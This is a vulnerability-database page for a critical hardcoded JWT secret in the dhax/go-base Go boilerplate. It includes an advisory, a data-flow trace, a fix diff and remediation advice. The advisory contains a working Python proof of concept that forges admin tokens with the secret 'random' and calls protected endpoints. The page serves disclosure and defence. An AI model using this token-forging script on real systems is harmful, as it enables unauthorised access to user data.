go-base CVE-2026-48031
CRITICALSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Vulnerability: CWE-798 - Hardcoded JWT Secret + Broken Mitigation
Affected Component
github.com/dhax/go-base- Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)- 1,685 stars on GitHub
Vulnerability Locations
| File | Line | Role |
|---|---|---|
dev.env | 10 | AUTH_JWT_SECRET=random - template default shipped to all users |
cmd/serve.go | 35 | viper.SetDefault("auth_jwt_secret", "random") - code-level fallback |
auth/jwt/tokenauth.go | 22-25 | Weak mitigation: only checked literal "random", auto-generated non-persistent key |
auth/jwt/tokenauth.go | 28 | jwtauth.New("HS256", []byte(secret), nil) - creates JWT signer with the weak key |
pwdless/api.go | 203 | GenTokenPair() - issues access + refresh tokens signed with the weak key |
Data Flow
dev.env AUTH_JWT_SECRET=random
OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
│
▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
│
▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
│
▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
│
▼
jwt/authenticator.go: Every authenticated request trusts the forged tokenDescription
The JWT signing secret is hardcoded to the string "random" in two independent locations:
dev.env:10- The template.envfile setsAUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.cmd/serve.go:35-viper.SetDefault("auth_jwt_secret", "random")provides a programmatic fallback. Even if the.envfile is missing entirely, the application silently starts with"random"as the signing key.
The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:
- (a) Single-value check: Only the exact string
"random"was caught. Any other weak secret (e.g.,"secret","changeme", empty string) passed through unchecked. - (b) Non-persistent replacement: The auto-generated key was stored only in memory (
randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.
An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.
Proof of Concept
import jwt
import requests
# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"
# Step 1: Forge an admin JWT token
payload = {
"sub": "admin@example.com",
"roles": ["admin"],
"iat": 9999999000,
"exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")
# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}
# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}")
# 200 OK
# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}")
# Returns admin@example.com profile
# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secretImpact
- Authentication Bypass: Forge tokens for any user, including admin roles
- Confidentiality: Access all user data, profiles, and protected resources
- Integrity: Modify any data accessible via the API
- Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)
Fix (PR #31)
The fix replaced the single-value check with a comprehensive approach:
// BEFORE (tokenauth.go:22-25) - weak, single-value check
if secret == "random" {
secret = randStringBytes(32) // non-persistent, breaks on restart
}
// AFTER - comprehensive known-weak-secrets map
var knownWeakSecrets = map[string]bool{
"random": true,
"secret": true,
"changeme": true,
"change-me": true,
"default": true,
"": true,
}
if knownWeakSecrets[secret] {
log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")
}Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.
Patched Versions
- All versions after commit range including PR#31 (merged May 17, 2026).
- Users should update to the latest master, regenerate their JWT secret, and restart.
Resources
- Fix PR: https://github.com/dhax/go-base/pull/31
- Commit history: https://github.com/dhax/go-base/commits/master
Credit
Reported by @saaa99999999 via manual security audit.
Articles & Coverage 5
AnalysisAI
Authentication bypass in dhax/go-base Go REST API boilerplate (versions prior to commit cc82b974, merged May 17, 2026) allows remote unauthenticated attackers to forge JWT tokens for arbitrary users including administrators. The signing secret is hardcoded to the literal string 'random' in both the dev.env template and as a Viper default in cmd/serve.go, and publicly available exploit code exists in the advisory. No CISA KEV listing or EPSS data is provided, but the secret is trivially derivable from the public GitHub repository.
Technical ContextAI
The affected component is github.com/dhax/go-base, a Go REST API scaffolding project (1,685 stars) built on go-chi/jwtauth/v5, Viper for configuration, and PostgreSQL/Bun. The root cause is CWE-798 (Use of Hard-coded Credentials): the HMAC-SHA256 JWT signing key defaults to the string 'random' both in the shipped dev.env file (line 10) and as a programmatic Viper default in cmd/serve.go:35. A prior in-code mitigation in auth/jwt/tokenauth.go:22-25 only checked the exact literal 'random' and replaced it with a non-persistent randomly-generated 32-byte key, which failed open against other weak secrets (e.g., 'secret', 'changeme', empty string) and additionally caused session-wide invalidation on every restart. The CPE pkg:go/github.com_dhax_go-base identifies the affected Go module.
RemediationAI
Upgrade to the fixed Go pseudo-version 0.0.0-20260517152733-cc82b9740fa6 or later by pulling the current master, which includes PR #31 (https://github.com/dhax/go-base/pull/31) and commit cc82b9740fa6b08e0fad409cd4b418e240dd0e00; the fix replaces the single-value check with a known-weak-secrets denylist ('random', 'secret', 'changeme', 'change-me', 'default', empty), enforces a 32-character minimum, removes non-persistent auto-generation, and instructs operators to set AUTH_JWT_SECRET to the output of 'openssl rand -base64 64'. After patching, rotate AUTH_JWT_SECRET to a strong value and restart, which will invalidate all existing tokens (including any forged ones) and force users to re-authenticate. If immediate patching is not possible, set a strong AUTH_JWT_SECRET environment variable to override the Viper default and audit dev.env for the literal 'random'; note this is a configuration-only mitigation that does not address the underlying code defect and depends on every operator and CI environment overriding the default. Consult the vendor advisory at https://github.com/dhax/go-base/security/advisories/GHSA-mqq6-462x-jxmm for full guidance.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-798 – Use of Hard-coded Credentials
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-mqq6-462x-jxmm